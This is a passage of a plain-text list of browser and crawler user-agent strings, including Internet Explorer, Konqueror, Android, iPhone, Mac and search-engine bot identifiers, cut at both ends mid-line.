CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0) Asus;Galaxy6\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)\nMozilla/4.0 (compatible; WebCapture 3.0; Macintosh)\nMozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16\nMozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)\nMozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.0\nMozilla/4.0 (PSP (PlayStation Portable); 2.00)\nMozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)\nMozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)\nMozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)\nMozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)\nMozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)\nMozilla/4.04 [en] (WinNT; I)\nMozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US]\nMozilla/4.5 [de] (Macintosh; I; PPC)\nMozilla/4.8 [en] (Windows NT 5.1; U)\nMozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27)\nMozilla/4.8 [en] (X11; U; SunOS; 5.7 sun4u)\nMozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)\nMozilla/4.76 [en] (X11; U; SunOS 5.8 sun4m)\nMozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)\nMozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1\nMozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1\nMozilla/5.0 (Apple-iPhone7C2/1202.466; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3\nMozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20060702 SeaMonkey/1.5a\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1 (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.1\nMozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+\nMozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\nMozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620\nMozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)\nMozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)\nMozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)\nMozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)\nMozilla/5.0 (compatible; bingbot/2.0 http://www.bing.com/bingbot.htm)\nMozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)\nMozilla/5.0 (compatible; Exabot/3.0; http://www.exabot.com/go/robot)\nMozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\nMozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)\nMozilla/5.0 (compatible; Konqueror/3.2; Linux)\nMozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.8-gentoo-r3; X11;\nMozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.14-kanotix-9; X11)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux; en_US) KHTML/3.5.6 (like Gecko) (Kubuntu)\nMozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.1 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3; Linux)\nMozilla/5.0 (compatible; Konqueror/4.1; DragonFly) KHTML/4.1.4 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.1; OpenBSD) KHTML/4.1.4 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.4 (like Gecko) Slackware/13.0\nMozilla/5.0 (compatible; Konqueror/4.3; Linux) KHTML/4.3.1 (like Gecko) Fedora/4.3.1-3.fc11\nMozilla/5.0 (compatible; Konqueror/4.4; Linux 2.6.32-22-generic; X11; en_US) KHTML/4.4.3 (like Gecko) Kubuntu\nMozilla/5.0 (compatible; Konqueror/4.4; Linux) KHTML/4.4.1 (like Gecko) Fedora/4.4.1-1.fc12\nMozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML/4.5.4 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.5; Windows) KHTML/4.5.4 (like Gecko)\nMozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)\nMozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)\nMozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/5.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)\nMozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)\nMozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0\nMozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)\nMozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)\nMozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)\nMozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)\nMozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)\nMozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)\nMozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )\nMozilla/5.0 (CrKey armv7l 1.5.16041) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.0 Safari/537.36\nMozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13\nMozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; de-DE) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0\nMozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3\nMozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\nMozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4\nMozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10\nMozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\nMozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\nMozilla/5.0 (iPhone9,3; U; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1\nMozilla/5.0 (iPhone9,4; U; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1\nMozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1\nMozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1\nMozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5370a Safari/604.1\nMozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/69.0.3497.105 Mobile/15E148 Safari/605.1\nMozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/13.2b11866 Mobile/16A366 Safari/605.1.15\nMozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5A347 Safari/525.200\nMozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/531.22.7\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8F190\nMozilla/5.0 (iPhone; U; CPU iPhone OS) (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html)\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420 (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 3_1_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Mobile/7C145\nMozilla/5.0 (Linux U; en-US) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) Version/4.0 Kindle/3.0 (screen 600x800; rotate)\nMozilla/5.0 (Linux; Android 5.1.1; SM-G928X Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 5.1; AFTS Build/LMY47O) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/41.99900.2250.0242 Safari/537.36\nMozilla/5.0 (Linux; Android 6.0.1; E6653 Build/32.2.A.0.253) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 6.0.1; Nexus 6P Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-G570Y Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/4.0 Chrome/44.0.2403.133 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 6.0.1; SM-G935S Build/MMB29K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/55.0.2883.91 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 6.0; HTC One M9 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.3\nMozilla/5.0 (Linux; Android 6.0; HTC One X10 Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.98 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.0; SM-G930VC Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.1.1; G8231 Build/41.2.A.0.219; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/59.0.3071.125 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36\nMozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\nMozilla/5.0 (Linux; U; Android 1.1; en-gb; dream) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\nMozilla/5.0 (Linux; U; Android 1.5; de-ch; HTC Hero Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; de-de; Galaxy Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; de-de; HTC Magic Build/PLAT-RC33) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 FirePHP/0.3\nMozilla/5.0 (Linux; U; Android 1.5; en-gb; T-Mobile_G2_Touch Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; en-us; htc_bahamas Build/CRB17) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; en-us; sdk Build/CUPCAKE) AppleWebkit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; en-us; SPH-M900 Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; en-us; T-Mobile G1 Build/CRB43) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari 525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; fr-fr; GT-I5700 Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.6; en-us; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.6; en-us; SonyEricssonX10i Build/R1AA056) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.6; es-es; SonyEricssonX10i Build/R1FA016) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 2.0.1; de-de; Milestone Build/SHOLS_U2_01.14.0) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.0; en-us; Milestone Build/ SHOLS_U2_01.03.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1-update1; de-de; HTC Desire 1.19.161.5 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1; en-us; HTC Legend Build/cupcake) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\nMozilla/5.0 (Linux; U; Android 2.3.4; en-us; BNTV250 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Safari/533.1\nMozilla/5.0 (Linux; U; Android 3.0.1; en-us; GT-P7100 Build/HRI83) AppleWebkit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\nMozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\nMozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\nMozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\nMozilla/5.0 (Linux; U; Android 4.0.3; de-de; Galaxy S II Build/GRJ22) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\nMozilla/5.0 (Linux; U; Android 4.2.2; he-il; NEO-X5-116A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\nMozilla/5.0 (Linux; U; Android 4.3; en-us; SM-N900T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\nMozilla/5.0 (Linux; U; en-US) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) Version/4.0 Kindle/3.0 (screen 600x800; rotate)\nMozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre Camino/2.2a1pre\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:69.0) Gecko/20100101 Firefox/69.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:69.0) Gecko/20100101 Firefox/69.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Safari/605.1.15\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 